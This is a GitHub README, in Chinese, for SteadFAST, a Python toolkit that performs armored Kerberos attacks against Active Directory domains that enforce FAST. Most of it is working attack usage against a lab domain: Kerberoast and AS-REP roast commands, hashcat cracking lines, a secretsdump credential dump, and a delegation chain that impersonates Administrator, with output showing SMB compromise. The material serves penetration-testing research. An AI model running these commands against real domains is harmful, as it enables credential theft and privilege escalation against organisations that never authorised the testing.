cbev0x/SteadFAST
GitHub: cbev0x/SteadFAST
一款 Kerberos FAST 防护攻击工具包,专用于在强制防护策略的 Active Directory 环境下执行装甲化的票据请求、Kerberoasting 及委派攻击。
Stars: 0 | Forks: 0
# SteadFAST
一个用于“失败即解除防护”(fail-unarmored)Active Directory 环境的 Kerberos FAST / 防护(armoring)攻击工具包。基于 Scapy 原生的 Kerberos 层构建。已在完全补丁的 Windows Server 2025 上进行过测试。
标准工具(impacket、非 LSASS 的 Rubeus)会发送未防护的 TGS-REQ。在
`CbacAndArmorLevel = 3`(失败即解除防护的认证请求)下,这些请求会得到一个**长度为零的回复**,并导致工具挂起。SteadFAST 会对每个请求进行防护,因此它能在标准工具无法工作的情况下完成任务——包括完整的约束委派和 RBCD 链,没有任何其他公开工具能在强制策略下实现这一点。
## 功能
| 命令 | 功能描述 |
|---|---|
| `posture` | 从网络流量中指纹识别 FAST 强制等级 (S0/S1/S2/S3) |
| `roast` | 防护的 AS 请求服务票据(在 S3 下无需 TGT 的 Kerberoast) |
| `asreproast` | AS-REP roast —— 测试强制策略是否覆盖无预认证路径 |
| `delegate` | 防护的 TGS-REQ、S4U2self 以及完整的 S4U2self->S4U2proxy / RBCD 链 |
| `inspect` | 离线 ccache 分析 —— 票据标志和 PAC 缓冲区签名 |
**独特功能:** `delegate --s4u2proxy` 在 S3 失败即解除防护下执行防护的 S4U2self ->
S4U2proxy / RBCD 链。这是 impacket 的 `getST` 和 Rubeus 会卡死的操作(它们发送未防护的 TGS-REQ 并得到长度为零的空回复)。SteadFAST 是唯一实现此功能的公开工具。
## 环境要求
```
Python 3.9+
scapy >= 2.7.0
impacket >= 0.13.0
pyasn1 >= 0.5.0
pycryptodome >= 3.18.0
```
```
git clone https://github.com/cbev0x/SteadFAST
cd SteadFAST
pip install -r requirements.txt
```
## 命令与示例
所有命令共享这些全局标志:
```
-v / --verbose per-step detail
--debug everything, including Scapy internals
--timeout SEC per-request KDC timeout (default 5s)
```
防护源标志(由 posture / roast / asreproast / delegate 共享):
```
--armor-user SAM armor account sAMAccountName (default: fakepc$)
--armor-password PW armor account password
--armor-hashes NTHASH armor account NT hash
--armor-aes-key HEX armor account AES256 key (avoids password derivation)
```
### posture
指纹识别 KDC 的 FAST 支持和强制等级。运行三个阶段
(未防护的 AS-REQ、防护 TGT、防护的 AS-REQ)并将它们映射到四种
状态之一:S0(关闭)、S1(支持)、S2(总是提供声明)、S3(失败即解除防护)。输出将观察到的网络结果与带有置信度标签的推断结论分开。
```
python -m steadfast posture \
-d reflect.lab \
-u jdoe -p Password123! \
--armor-password Password123! \
--dc-ip 10.10.20.10
```
```
[*] FAST posture -- 10.10.20.10 (REFLECT.LAB)
unarmored AS-REQ : rejected -- KDC_ERR_POLICY
armor TGT : obtained (fakepc$, etype 18)
armored AS-REQ : success
--------------------------------------------
verdict : FAST ENFORCED (fail-unarmored)
confidence : confirmed
```
当你直接拥有 AES256 密钥(例如来自 secretsdump)时,使用 `--aes-key` / `--armor-aes-key` 可以避免密码推导:
```
python -m steadfast posture \
-d reflect.lab -u jdoe \
--aes-key \
--armor-aes-key \
--dc-ip 10.10.20.10
```
### roast
在 FAST 防护下请求 AS 请求的服务票据(来自 AS 交换的 ST,而非 TGS)。
该票据使用服务账户的长期密钥加密,并且可以离线破解。适用于标准 TGS-REQ Kerberoast 会卡住的 S3 失败即解除防护环境。
单个目标:
```
python -m steadfast roast \
-d reflect.lab -u jdoe -p Password123! \
--armor-password Password123! \
-s MSSQLSvc/target.reflect.lab:1433 \
--dc-ip 10.10.20.10 \
--save svc.ccache
```
扫描(逗号分隔或文件):
```
python -m steadfast roast \
-d reflect.lab -u jdoe -p Password123! \
--armor-password Password123! \
--targets MSSQLSvc/svc1.reflect.lab:1433,cifs/srv02.reflect.lab \
--dc-ip 10.10.20.10 \
--save-hashes loot.txt
```
破解:
```
hashcat -m 19700 loot.txt rockyou.txt # AES256
hashcat -m 13100 loot.txt rockyou.txt # RC4
```
### asreproast
测试在强制策略下,无预认证账户是否可以被未防护地 AS-REP-roasted。
在 S3 下,KDC 返回 `KDC_ERR_POLICY` —— 无预认证路径被覆盖。
在 S0/S1/S2 下,它返回一个可破解的 `$krb5asrep$` 哈希。
```
python -m steadfast asreproast \
-d reflect.lab -u svc-nopreauth \
--dc-ip 10.10.20.10
```
用户列表扫描:
```
python -m steadfast asreproast \
-d reflect.lab \
--user-list users.txt \
--dc-ip 10.10.20.10 \
--save-hashes asrep-hashes.txt
```
### delegate
在 FAST 下执行 TGS 级操作。所有阶段都经过防护,因此它们可以在未防护工具会挂起的 S3 下完成。
**强制策略探测** —— 运行未防护 + 防护的 TGS-REQ 并输出结论:
```
python -m steadfast delegate \
-d reflect.lab -u jdoe -p Password123! \
--armor-password Password123! \
-s cifs/srv02.reflect.lab \
--dc-ip 10.10.20.10 \
--probe
```
**防护的 RBCD 链** —— S3 下的 S4U2self 然后是 S4U2proxy。
前置条件:
```
# 在 DC 上:授予 fakepc$ 对目标的 RBCD 权限
Set-ADComputer SRV02 -PrincipalsAllowedToDelegateToAccount (Get-ADComputer fakepc)
# fakepc$ 需要为 S4U2self 阶段注册 SPN
Set-ADComputer fakepc -ServicePrincipalNames @{Add='host/fakepc.reflect.lab'}
```
```
python -m steadfast delegate --s4u2proxy \
-d reflect.lab \
-u 'fakepc$' -p 'Password123!' \
--armor-password 'Password123!' \
--impersonate Administrator \
-s cifs/srv02.reflect.lab \
--dc-ip 10.10.20.10 \
--save admin.ccache
```
```
[*] S4U2self (armored): fakepc$@reflect.lab -> host/fakepc.reflect.lab as Administrator
S4U2self : forwardable ST obtained
[*] S4U2proxy (armored): -> cifs/srv02.reflect.lab as Administrator
S4U2proxy : service ticket obtained
[+] armored S4U2proxy chain complete: Administrator -> cifs/srv02.reflect.lab
[+] saved service ticket ccache: admin.ccache
```
```
KRB5CCNAME=admin.ccache nxc smb srv02.reflect.lab -k --use-kcache
# SMB srv02.reflect.lab 445 SRV02 [+] reflect.lab\Administrator 来自 ccache (Pwn3d!)
```
**经典 KCD(协议转换):**
```
# 在 DC 上
Set-ADUser svc-web -Add @{'msDS-AllowedToDelegateTo'='cifs/srv02.reflect.lab'}
Set-ADAccountControl svc-web -TrustedToAuthForDelegation $true
```
```
python -m steadfast delegate --s4u2proxy \
-d reflect.lab \
-u svc-web -p Password123! \
--armor-password Password123! \
--self-spn http/web.reflect.lab \
--impersonate Administrator \
-s cifs/srv02.reflect.lab \
--dc-ip 10.10.20.10 \
--save kcd.ccache
```
**仅保存 TGT**(用于与其他工具交叉验证):
```
python -m steadfast delegate \
-d reflect.lab -u jdoe -p Password123! \
--armor-password Password123! \
-s cifs/srv02.reflect.lab \
--dc-ip 10.10.20.10 \
--save-tgt jdoe.ccache
```
#### delegate 标志
| 标志 | 描述 |
|---|---|
| `-s SPN` | 目标 SPN |
| `--impersonate USER` | S4U2self 模拟目标 |
| `--s4u2proxy` | 完整的防护 S4U2self -> S4U2proxy 链 |
| `--self-spn SPN` | 委派服务自身的 SPN(默认:对于 `$` 账户为 `host/.`) |
| `--save PATH` | 保存最终的服务票据 ccache |
| `--save-tgt PATH` | 保存防护的用户 TGT ccache |
| `--armor-tgs` | 防护单个 TGS-REQ 阶段 |
| `--probe` | 运行未防护 + 防护的 TGS-REQ 并进行比较 |
### inspect
离线读取 ccache 并报告每个票据的标志和 PAC 缓冲区集。不需要
网络,也不需要 KDC。用于确认票据是否可转发,以及在尝试委派之前检查是否存在 Ticket Signature(PAC 缓冲区 0x10,即 CVE-2020-17049 的 Bronze-Bit 防护补丁),非常有用。
票据级别(无需密钥):
```
python -m steadfast inspect admin.ccache
```
```
[*] ticket 0: Administrator@reflect.lab -> cifs/srv02.reflect.lab@REFLECT.LAB
flags : forwardable renewable pre_authent enc_pa_rep [forwardable]
etype : 18
```
使用服务账户密钥读取 PAC:
```
python -m steadfast inspect asreq-st.ccache \
--service-key 6f4650058d111f6794caab1b17281c6eb8a0290a1395a11a96402a8f88692779 \
--etype 18
```
```
[*] ticket 0: jdoe@REFLECT.LAB -> fakepc$@REFLECT.LAB
flags : forwardable renewable initial pre_authent enc_pa_rep [forwardable]
etype : 18
PAC buffers: 0x01 Logon Info, 0x06 Server Checksum, 0x07 KDC (privsvr) Checksum,
0x0a Client Info, 0x0c UPN/DNS Info, 0x0d Client Claims,
0x10 Ticket Signature, 0x13 Extended KDC Signature
Ticket Signature (0x10): PRESENT
```
如果未提供路径,则使用 `$KRB5CCNAME`:
```
python -m steadfast inspect --service-key --etype 18
```
## 备注
### fakepc$ 设置
`fakepc$` 是在没有实际加入域的情况下创建的机器账户。在 DC 上:
```
# 创建账户(如果不存在)
New-ADComputer -Name fakepc -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
# 注册 S4U2self 所需的 SPN
Set-ADComputer fakepc -ServicePrincipalNames @{Add='host/fakepc.reflect.lab'}
# 对于 RBCD:授予其对目标的权限
Set-ADComputer TARGET -PrincipalsAllowedToDelegateToAccount (Get-ADComputer fakepc)
```
获取其 AES256 密钥(避免每次运行时进行密码推导):
```
impacket-secretsdump 'reflect.lab/Administrator:Password123!@dc01.reflect.lab' \
-just-dc-user 'fakepc$' | grep aes256
```
### Scapy FAST x S4U2self 补丁
`lib/_scapy_fast_s4u_patch.py` 修复了 Scapy 2.7.0 中的一个错误:在 FAST 下,
PA-S4U-X509-USER 校验和使用的是原始 TGT 会话密钥而不是 FAST 回复密钥(即 authenticator 子密钥)进行密钥派生。这导致任何防护的 S4U2self 请求都会出现 `KRB_AP_ERR_MODIFIED (41)`。该补丁会在 `delegate` 开始时自动应用,并将被提交上游至
[secdev/scapy](https://github.com/secdev/scapy)。
## 相关文章
- [第 1 部分 —— Kerberos FAST 防护:它是什么以及强制策略实际上是如何工作的](https://cbev0x.github.io/personal/research/2026/07/29/Kerberos_FAST_Research_part_1.html)
- [第 2 部分 —— SteadFAST:针对失败即解除防护域的防护 Kerberos 攻击工具](https://cbev0x.github.io/personal/research/2026/07/30/Kerberos_FAST_Research_part_2.html)
## 鸣谢
- Charlie Clark / Semperis —— AS 请求的服务票据原语,4768-not-4769 检测
- monsieurPale / [BreakFAST](https://github.com/monsieurPale/BreakFAST) —— 来自未加入域主机的防护 TGT + 防护 TGS-REQ;本项目所基于的现有技术
- Tim Medin —— Kerberoasting
- Will Schroeder —— AS-REP roasting
- TrustedSec / Andrew Schwartz —— 关于 impacket/Rubeus 在强制策略下崩溃的经验性记录文档
- Steve Syfuhs —— FAST 内部机制详解
标签:Python, SNMP, 协议分析, 无后门, 权限提升, 活动目录, 网络安全, 逆向工具, 隐私保护